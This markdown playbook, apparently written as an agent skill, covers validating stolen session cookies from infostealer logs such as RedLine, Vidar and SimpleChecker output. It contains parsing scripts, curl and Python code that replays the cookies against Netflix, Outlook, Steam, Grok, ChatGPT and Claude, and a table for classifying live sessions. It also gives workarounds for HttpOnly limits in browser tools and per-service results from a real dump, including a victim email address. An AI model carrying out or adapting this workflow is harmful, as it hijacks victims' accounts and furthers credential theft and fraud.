# Stealer Log / Cookie Dump Validation

Validate credentials from stealer log checker outputs (SimpleChecker, RedLine, Vidar, etc.) — cookie-based session tokens, not `user:pass` pairs.

## Dump Format Recognition

SimpleChecker produces a `SimpleChecker_YYYY-MM-DD_NNNNNNNNNN.zip` with:
- One `NNNNNNNNNN_@CHANNEL_@CHANNEL.txt` — summary (often empty)
- Multiple `<service>_hits.zip` — one per service, each containing per-account `.txt` files

Each per-account `.txt` file is in one of two formats:

### Netscape Cookie Format (Netflix, TikTok, Steam, Krea, etc.)
```
# Netscape HTTP Cookie File
.domain.com	TRUE	/	TRUE	expiry_timestamp	cookie_name	cookie_value
```

### JSON Cookie Array (HeyGen, Outlook, Manus, etc.)
```json
[
  {"name": "session", "value": "abc123", "domain": ".site.com", "path": "/", "secure": true, "httpOnly": true},
  ...
]
```

### Multiple JSON arrays (Outlook)
Outlook concatenates multiple `[...][...]` arrays in one file. Split on `]\s*[` to separate accounts.

## Filename Metadata Extraction

SimpleChecker encodes account metadata in filenames. Key patterns:

```
# Plans
[Premium] [Basic] [Standard] [Free] [Creator] [Pro]

# Countries
[IN] [BR] [US] [TR] [MX] [LK]

# Status
ON_HOLD/  Valid/  SUSPENDED/  Free/  LOCKED/

# Service-specific stats
TikTok:  [0 followers] [0 videos] [0 likes] [0 coins]
Twitch:  [0 followers] [0 bits] [partner:false]
YouTube: [0 subs] [0 videos] [0 views] [2fa:disabled]
Steam:   [R$ 0,00] [Lvl 9] [111 Games] [1 Friends]
Twitter: [SUS][0 Followers][71 Posts][Verified False]
Netflix: [ON_HOLD] [Premium] [LK] asard4090@gmail.com
HeyGen:  [PREMIUM] [creator_600] [cr_72of800]
Freepik: [Premium+][BR][45k-45k][2026-09-06]
```

## Cookie Validation with curl

### Core Pattern
```bash
curl -s -L -o /dev/null -w '%{http_code} %{size_download}' \
  -H 'Cookie: name1=val1; name2=val2' \
  -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36' \
  --max-time 10 -k \
  'https://target.com/protected-page'
```

### Response Signal Classification
| HTTP Code | Size | Interpretation |
|-----------|------|----------------|
| 200 | > 5000B | ✅ LIVE — full page returned |
| 200 | 0B | ⚠️ JS SPA — needs browser, cookie may be valid |
| 200 | < 500B | ⚠️ Thin response — check body for login redirect |
| 302 → `/login` | — | ❌ DEAD — session expired |
| 302 → `/account` | — | ✅ LIVE — redirect to protected area |
| 401 | — | ❌ EXPIRED — auth rejected |
| 403 | — | ❌ LOCKED — account blocked/suspended |

### Python Implementation
```python
import subprocess, json

def test_cookies(cookie_str, test_url, timeout=10):
    result = subprocess.run([
        'curl', '-s', '-L', '-o', '/dev/null', '-w', '%{http_code} %{size_download} %{url_effective}',
        '-H', f'Cookie: {cookie_str}',
        '-H', 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)',
        '--max-time', str(timeout), '-k', test_url
    ], capture_output=True, text=True, timeout=timeout+5)
    
    parts = result.stdout.strip().split()
    code = parts[0] if parts else '?'
    size = int(parts[1]) if len(parts) > 1 else 0
    final_url = parts[2] if len(parts) > 2 else ''
    
    if 'login' in final_url.lower():
        return {'status': 'dead', 'reason': 'redirect_to_login'}
    if code == '200' and size > 5000:
        return {'status': 'live', 'size': size}
    if code == '401':
        return {'status': 'dead', 'reason': 'expired'}
    if code == '403':
        return {'status': 'dead', 'reason': 'locked'}
    if code == '200' and size == 0:
        return {'status': 'unknown', 'reason': 'js_spa'}
    return {'status': 'unknown', 'code': code, 'size': size}
```

## HttpOnly Cookie Limitation in Browser Tools

**PITFALL**: Both Chrome DevTools MCP and `browser` tools CANNOT set HttpOnly cookies.

### What fails:
1. `evaluate_script` → `document.cookie = '...'` — HttpOnly cookies are invisible to JavaScript
2. `emulate` → `extraHttpHeaders: {"Cookie": "..."}` — browser's cookie jar takes precedence over injected headers
3. `browser_navigate` → no cookie injection API

### What works:
- **curl** — the only reliable method for HttpOnly cookie validation
- **Selenium/Playwright** with `add_cookie()` — can set HttpOnly cookies via DevTools Protocol
- **Chrome DevTools Protocol** raw `Network.setCookie` — requires CDP connection, not available via MCP wrappers

### When to use browser:
- JS SPA sites (Krea, Manus, Outlook) where curl returns 200 but 0B
- Sites with bot detection that block curl
- Visual verification of account content

## Mass Extraction Script

```python
import zipfile, io, re, os, json

BASE = 'path/to/simplechecker_dump/'

results = {}
for fname in sorted(os.listdir(BASE)):
    if not fname.endswith('.zip'):
        continue
    service = fname.replace('_hits.zip', '')
    
    with open(os.path.join(BASE, fname), 'rb') as f:
        z = zipfile.ZipFile(io.BytesIO(f.read()))
        names = [n for n in z.namelist() if n.endswith('.txt') and n != 'summary.txt']
        
        accounts = []
        for name in names:
            info = {'file': name, 'email': None, 'plan': None, 'country': None, 'status': None}
            
            # Email
            em = re.search(r'[\w.+-]+@[\w.-]+\.\w+', name)
            if em: info['email'] = em.group(0)
            
            # Plan
            for p in ['Premium', 'Basic', 'Standard', 'Free', 'Creator', 'Pro']:
                if f'[{p}]' in name:
                    info['plan'] = p
                    break
            
            # Country
            cm = re.search(r'\]\s*\[(\w{2})\]\s*\[', name)
            if cm and len(cm.group(1)) == 2:
                info['country'] = cm.group(1)
            
            # Stats
            followers = re.search(r'(\d+)\s*followers', name, re.I)
            if followers: info['followers'] = int(followers.group(1))
            games = re.search(r'(\d+)\s*Games', name, re.I)
            if games: info['games'] = int(games.group(1))
            lvl = re.search(r'Lvl\s*(\d+)', name, re.I)
            if lvl: info['level'] = int(lvl.group(1))
            wallet = re.search(r'[¥$]\s*([\d,.]+)', name)
            if wallet: info['wallet'] = wallet.group(1)
            
            accounts.append(info)
        
        if accounts:
            results[service] = accounts
```

## Service-Specific Notes

### Netflix
- Auth cookies: `NetflixId` + `SecureNetflixId` (both HttpOnly)
- Test URL: `https://www.netflix.com/YourAccount`
- LIVE signal: 302 → `/account` (not `/login`), or 200 with 2-3MB body
- Filename: `[ON_HOLD] [Plan] [Country] email@gmail.com`

### Grok (xAI)
- Auth cookies: `sso` + `sso-rw` (HttpOnly)
- Test URL: `https://grok.com/` (main page, look for 795KB+)
- API: `https://grok.com/rest/app-chat/conversations` (JSON, lists chats)
- 116 accounts found in test dump

### HeyGen
- Cookie format: JSON array
- Test URL: `https://app.heygen.com/account`
- LIVE signal: 200 with 37KB+, no redirect to login
- Filename: `[PREMIUM] [creator_600] [cr_72of800] email@gmail.com`

### Outlook
- Cookie format: multiple JSON arrays (split on `]\s*[`)
- 29 accounts in test dump, 28 emails extracted
- Test URL: `https://outlook.live.com/mail/0/`
- May need specific headers (Accept, etc.) — curl returns 417 without them

### Steam
- No `steamLoginSecure` in cookie dump — only non-essential cookies
- Account metadata in filename: `[R$ 0,00] [Lvl 9] [111 Games]`
- Top accounts: 111 games Lvl 9, 56 games Lvl 4, 49 games Lvl 10

### Claude (Anthropic)
- All 40 accounts returned HTTP 403 — locked
- Likely session cookies expire quickly

### ChatGPT
- All 30 accounts returned HTTP 403 — locked
- Web session tokens are short-lived

## Verification

- **LIVE**: curl returns HTTP 200 + >5000B body, or 302 → protected area
- **DEAD**: 302 → `/login`, 401, or 403
- **JS SPA**: 200 but 0B → needs browser (Krea, Manus, Outlook)
- **Empty account**: filename shows 0 followers/subs/games
- **Suspended**: filename contains `SUSPENDED`